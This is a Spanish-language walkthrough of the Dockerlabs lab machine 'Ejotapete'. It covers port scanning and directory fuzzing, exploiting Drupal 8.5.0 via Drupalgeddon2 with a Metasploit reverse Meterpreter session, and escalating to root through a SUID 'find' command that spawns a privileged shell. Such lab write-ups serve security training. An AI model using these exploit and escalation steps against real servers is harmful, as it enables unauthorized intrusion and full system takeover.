Ejotapete – Dockerlabs [WriteUp]

En este writeup vamos a resolver una de las máquinas de la plataforma Dockerlabs llamada Ejotapete, con el nivel de dificultad «Muy Fácil».

Al final del write up te cuento un resumen de toda la máquina. 🙂

Si quieres conocer más sobre la plataforma Dockerlabs y ver cómo se configura, etc, en este post te cuento cómo hacerlo.

Básicamente los pasos son: 1 – Creas una carpeta con el nombre de la máquina (es opcional, yo las creo por organización), 2 – Descargas la máquina de Dockerlabs y la mueves al directorio que has creado anterior, y 3 – Descomprimes y despliegas.

Para todas las máquinas, la IP de Dockerlabs es siempre la misma: 172.17.0.2

Una vez hemos descargado la máquina víctima de Dockerlabs y desplegada en nuestro entorno, empezamos con el escaneo.

ESCANEO DE PUERTOS

Comenzamos primero viendo si la máquina está activa y podemos conectarnos a ella, y después continuamos con el descubrimiento de puertos para luego hacer un escaneo de los servicios y versiones que corren para esos puertos.

¿Está la máquina víctima activa y nos podemos comunicar con ella?

Aquí lo que haremos es ejecutar estos comandos para ver su el «host is up» y ver el SO.

En este caso el TTL es de 64 por lo que estamos antes una máquina Linux.

A partir de aquí comenzamos con el escaneo de puertos con el siguiente comando:

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG Escaneo

Solo descubrimos abierto el puerto web 80 pero parece que no tenemos permiso para acceder en ese servidor.

Un error 403 Forbidden puede indicar varias cosas, por ejemplo: que no existe un archivo de índice predeterminado (como index.html) y el servidor ha deshabilitado la lista de directorios, o que hay restricciones de permisos que impiden mostrar el contenido.

Anotamos la versión del servidor Apache y lo dejamos por ahora aparcado para hacer un análisis de potenciales directorios ocultos, archivos o subdominios.

ENUMERACIÓN CON FUZZING WEB

Nos valemos en este caso de Gobuster para analizar directorios y ficheros ocultos con extension php, html y txt:

gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirb/common.txt -t 30 -x php,html,txt

Nos reporta la consola errores de acceso no permitido a ficheros donde parece contener contraseñas…sin embargo una ruta devuelve una redirección a /drupal :

El servidor nos devuelve lo que parece ser un CMS de Drupal con una parte de log in y algunos enlaces que devuelven error.

Una cosa me llama la atención, y es «User Guide» que redirige a una guía de usuario que referencia a una versión de Drupal 7. Quizás por esta versión podemos ver si existe alguna vulnerabilidad que nos permita acceder.

Pese a que la IP inicial daba un 403, un directorio interno /drupal sí devolvía contenido, esto podría deberse a que el servidor web está configurado para servir únicamente la aplicación Drupal en ese subdirectorio, sin contenido en la raíz.

Si seguimos haciendo un fuzzing sobre el directorio de Drupal para buscar posibles subcarpetas que expongan usuarios u otro tipo de información relevante, vemos que existen algunos archivos como:

dejo de correr el fuzzing para ver si de esos subdirectorios que devuelven 301 o 200 hay alguno relevante…

Por ejemplo, los core, install, profiles o user pueden ser interesantes…

User te lleva al panel de login, core da un error 403, y /install.php devuelve la versión de Drupa 8.5.0 (no la 7 que habíamos sospechado al inicio) siguiendo la documentación. Este install.php es típico archivo de Drupal que suele usarse en el proceso de instalación del CMS.

BÚSQUEDA DE VULNERABILIDADES

Si buscamos por vulnerabilidades de esa versión en Drupal, vemos que existen varias, y una de ellas que podemos probar es Remote Code Execution (Ejecución Remota de Comandos) a través de Metasploit.

En este punto tenemos dos formas de continuar con lo investigado hasta ahora:

• Apache 2.4.25 (Debian): Apache 2.4.25 es una versión algo antigua (finales de 2016). Sabemos que Apache ha tenido varias vulnerabilidades reportadas a lo largo del tiempo. Una posible línea de investigación es buscar CVEs (identificadores de vulnerabilidades) específicos de esta versión. Por ejemplo, versiones 2.4.25 a 2.4.29 sufrieron problemas como Path Traversal o Buffer Overflows en algunos módulos, y también hubo una vulnerabilidad de escalada de privilegios (CVE-2019-0211) en ciertos contextos. Sin embargo, no todas las vulnerabilidades son explotables de forma remota sin autenticación; muchas requieren condiciones particulares. En nuestro escenario, con solo el servicio web expuesto, no es evidente que exista un fallo en Apache que nos dé acceso. Aun así, es importante mencionarlo aquí porque en un pentest real siempre conviene consultar fuentes públicas (como Exploit-DB o herramientas como searchsploit) para ver si existe algún exploit conocido para la versión de Apache detectada. De no hallarlo o no ser aplicable, pasamos al siguiente vector.
• Drupal 8.5.0: Drupal 8.5.0 es ampliamente conocido por ser vulnerable a un exploit crítico apodado “Drupalgeddon2”, correspondiente al CVE-2018-7600. Esta vulnerabilidad, descubierta en 2018, permite a un atacante remoto no autenticado ejecutar código arbitrario en el servidor Drupal vulnerable. En otras palabras, es un RCE (Remote Code Execution) grave. Dado que nuestra máquina objetivo corre exactamente una versión afectada (8.5.0), es muy probable que este sea el camino.

Identificada la vulnerabilidad potencial en Drupal 8.5.0, pasamos a la fase de explotación. En este caso, la forma más sencilla es utilizando Metasploit, que es un framework de explotación que ya incluye módulos listos para usar en muchos exploits conocidos. Afortunadamente, existe un módulo dedicado para Drupalgeddon2, lo que nos ahorrará implementar el exploit manualmente.

EJECUCIÓN DE RCE CON METASPLOIT

Los pasos para usar Metasploit en este caso son:

• Iniciar Metasploit: Ejecutamos msfconsole en la máquina atacante para abrir la consola de Metasploit.
• Buscar el módulo adecuado: En la consola de msf, usamos el comando search drupal drupalgeddon para localizar exploits relacionados con Drupalgeddon y aparece el exploit exploit/unix/webapp/drupal_drupalgeddon2.

Lo seleccionamos con use exploit/unix/webapp/drupal_drupalgeddon2.

• Configurar parámetros: Cada módulo de Metasploit requiere configurar opciones (comando show options para verlas). En nuestro caso debemos especificar al menos: la IP del objetivo y la ruta del Drupal:
  • set RHOSTS 172.17.0.2 – IP de la máquina víctima.
  • set TARGETURI /drupal – ruta donde está instalado Drupal en el servidor (en este caso, base path «/drupal»).
  • También configuramos la IP de nuestra máquina atacante como LHOST (por ejemplo, la IP de nuestro equipo en la red de Dockerlabs, típicamente 172.17.0.1) y un puerto local para la conexión reversa set LPORT (podemos usar uno cualquiera, como 1337). Esto le indica al exploit cómo conectar de vuelta a nosotros una vez comprometa el objetivo.
  • Podemos dejar otras opciones por defecto. Este exploit generalmente usa una payload default (por ejemplo, un meterpreter PHP).

• Ejecutar el exploit: Una vez todo configurado, lanzamos run (o exploit). Metasploit se encargará de enviar la carga maliciosa al Drupal vulnerable.

Después de configurar el módulo con RHOSTS (IP víctima), TARGETURI (ruta /drupal), LHOST/LPORT (nuestro host y puerto), se ejecuta el comando run.

Vemos que el resultado de la sesión meterpreter es («Meterpreter session 1 opened«), dándonos acceso inicial a la máquina víctima como usuario web www-data con privilegios bajos.

Ahora debemos realizar dos cosas: estabilizar la sesión y enumerar el sistema desde dentro para planear la escalada de privilegios.

Para estabilizar la sesión, lo que hacemos es un tratamiento de la tty usando:

shell
script /dev/null -c bash
export TERM=xterm
export SHELL=/bin/bash 
stty rows 40 columns 140

Para enumerar el sistema, por un lado vemos qué usuarios hay en el sistema con el comando «cat /etc/passwd».

Ejecutamos sudo -l para ver si www-data puede usar sudo en algo sin contraseña. A veces, ciertos usuarios web están mal configurados y se les permite usar sudo en algún comando. En este caso, probamos sudo -l y la salida nos indica que se requiere contraseña, es decir, no hay atajos por sudo para este usuario (era algo esperado, ya que www-data típicamente no tiene permisos sudo, pero siempre conviene validarlo).

Visto que la vía de sudo está cerrada (no podemos escalar mediante comandos permitidos por sudo sin contraseña), enfocamos nuestra búsqueda en otro vector común: archivos con bit SUID.

¿Qué es SUID? Es un permiso especial en Unix que, cuando está activo (indicador s en los permisos), hace que el programa en cuestión se ejecute con los privilegios de su propietario, en lugar de con los del usuario que lo ejecuta. Muchos binarios del sistema tienen SUID de root por necesidad (por ejemplo, passwd para cambiar contraseñas, necesita modificar archivos de root). Pero si encontramos un binario inusual con SUID root, podríamos abusarlo para escalar privilegios.

ESCALADA DE PRIVILEGIOS

Para listar todos los archivos con SUID en el sistema, ejecutamos el comando de búsqueda:

find / -perm -4000 2>/dev/null

Esto busca (find) desde la raíz del sistema (/) archivos con permisos -4000 (es decir, con el bit 4 de SUID activado) y redirige errores a /dev/null para ignorar carpetas donde no tenemos permisos de lectura.

Llama la atención el comando /usr/bin/find que tiene SUID activado.

El comando find normalmente no necesita ser SUID. Significa que cualquier usuario (incluido www-data) puede ejecutar find con privilegios de root.

Ahora, debemos idear cómo aprovechar find para obtener una shell con privilegios root. Lo más sencillo y rápido es ir a GTFOBins (abreviatura de «Get The F**k Out Bins») donde se se publican las técnicas de explotación locales para binarios comunes, especialmente en escenarios de SUID, sudo, etc.

Buscamos en GTFOBins la entrada para «find«. En efecto, encontramos un método confirmado usando find con SUID.

Para ello invocamos el binario find (el SUID) en el directorio actual (.), utilizando la opción -exec para ejecutar un comando por cada resultado encontrado (podría ser cualquier, aquí no nos importa realmente qué encuentra).

Le pasamos /bin/bash -p a -exec, lo que hace que find ejecute una shell Bash. La opción -p en Bash (privileged) hace que Bash no baje sus privilegios desde root. Y -quit simplemente termina find inmediatamente (no necesitamos que recorra todo el disco realmente). En resumen, estamos pidiendo a find (que corre como root por SUID) que abra una bash con privilegios root para nosotros. Usaremos el comando:

/usr/bin/find . -exec /bin/bash -p \; -quit

Ejecutamos el comando y obtenemos nueva shell (bash-4.4#). Comprobamos con whoami que somo root, y con id (euid=0) que ahora somos administrador del sistema.

Si vamos al directorio root podemos ver un txt que contiene lo que sería la root flag por lo que damos por completada la máquina.

RESUMEN DE LA MÁQUINA EJOTAPETE

Primero escaneamos la máquina para ver qué servicios tenía abiertos y descubrimos que solo tenía activo el puerto 80 abierto, pero al intentar acceder, nos devolvía un mensaje de acceso prohibido (403 Forbidden). Entonces usamos Gobuster para buscar carpetas ocultas en el servidor mediante fuzzing web y encontramos una llamada /drupal, lo que nos indicó que estaba usando Drupal (CMS). Al investigar un poco más, vimos que usaba una versión antigua (Drupal 8.5.0) que tenía una vulnerabilidad conocida y muy grave llamada Drupalgeddon2, que permite tomar el control del servidor sin tener usuario ni contraseña. Usamos Metasploit, una herramienta que ya trae preparado este tipo de ataques, y con solo configurar algunos datos, conseguimos acceder como si fuéramos el programa que sirve la web. Luego, buscamos fallos internos en el sistema y vimos que el comando find tenía permisos especiales de administrador (root). Lo aprovechamos para lanzar una terminal con permisos de administrador. Finalmente, al tener acceso total, leímos un archivo oculto en la carpeta /root que contenía la contraseña final de la máquina.